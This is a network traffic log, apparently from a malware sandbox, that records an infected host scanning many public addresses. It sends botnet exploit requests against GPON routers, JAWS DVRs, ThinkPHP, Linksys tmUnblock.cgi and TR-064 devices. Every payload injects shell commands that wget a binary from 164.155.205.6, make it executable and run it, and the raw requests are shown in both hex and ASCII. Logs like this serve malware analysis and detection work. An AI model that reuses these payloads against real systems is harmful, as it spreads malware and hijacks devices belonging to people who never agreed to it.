Mar 2, 2024 12:37:51.051235914 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1038	192.168.2.23	32874	109.141.221.131	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:51.051242113 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1039	192.168.2.23	59288	79.169.41.42	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:51.051250935 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1040	192.168.2.23	51644	178.181.210.7	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:51.051268101 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1041	192.168.2.23	41192	109.97.98.88	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:51.051269054 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1042	192.168.2.23	48728	210.90.218.64	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:51.051317930 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1043	192.168.2.23	46178	94.41.215.15	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:51.051342964 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1044	192.168.2.23	52636	109.218.71.224	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:51.051350117 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1045	192.168.2.23	35900	37.77.109.113	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:51.051357985 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1046	192.168.2.23	50522	178.59.93.210	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:51.051379919 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1047	192.168.2.23	53306	5.23.243.146	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:51.051388025 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1048	192.168.2.23	42702	210.6.38.46	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:51.051410913 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1049	192.168.2.23	51238	57.128.34.236	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:51.359380960 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:37:51.529987097 CET	404	IN	HTTP/1.1 400 Bad Request Date: Sat, 02 Mar 2024 11:37:51 GMT Server: Apache Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1050	192.168.2.23	35386	95.182.108.149	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:51.444041014 CET	324	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://164.155.205.6/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:37:51.682430983 CET	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.20.1 Date: Sat, 02 Mar 2024 11:37:51 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.20.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1051	192.168.2.23	34278	174.138.13.227	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:51.529282093 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:37:51.695983887 CET	296	IN	HTTP/1.1 400 Bad Request Date: Sat, 02 Mar 2024 11:37:51 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1052	192.168.2.23	46932	41.84.195.45	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:51.684950113 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1053	192.168.2.23	54014	86.159.128.109	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:51.793351889 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:37:51.965370893 CET	555	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 68 74 74 70 22 20 6e 61 6d 65 3d 22 68 74 74 Data Ascii: <!DOCTYPE html><html> <body> <input type="hidden" id="http" name="http" value="5000"> <input type="hidden" id="https" name="https" value="5001"> <input type="hidden" id="prefer_https" name="prefer_https" value="fal
Mar 2, 2024 12:37:52.476047039 CET	555	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 68 74 74 70 22 20 6e 61 6d 65 3d 22 68 74 74 Data Ascii: <!DOCTYPE html><html> <body> <input type="hidden" id="http" name="http" value="5000"> <input type="hidden" id="https" name="https" value="5001"> <input type="hidden" id="prefer_https" name="prefer_https" value="fal
Mar 2, 2024 12:37:53.511604071 CET	555	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 68 74 74 70 22 20 6e 61 6d 65 3d 22 68 74 74 Data Ascii: <!DOCTYPE html><html> <body> <input type="hidden" id="http" name="http" value="5000"> <input type="hidden" id="https" name="https" value="5001"> <input type="hidden" id="prefer_https" name="prefer_https" value="fal

Session ID	Source IP	Source Port	Destination IP	Destination Port
1054	192.168.2.23	45260	35.190.92.86	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:52.195802927 CET	446	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 188.166.41.194:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F164.155.205.6%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 2, 2024 12:37:52.733163118 CET	446	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 188.166.41.194:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F164.155.205.6%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1055	192.168.2.23	36640	97.120.186.205	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:52.337151051 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:37:56.380682945 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:37:56.572799921 CET	90	IN	HTTP/1.1 400 Bad Request Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 62 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 62 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 00 Data Ascii: <html><head></head><body><b>400 Bad Request</b></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1056	192.168.2.23	50674	95.198.240.96	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:52.439305067 CET	324	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://164.155.205.6/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
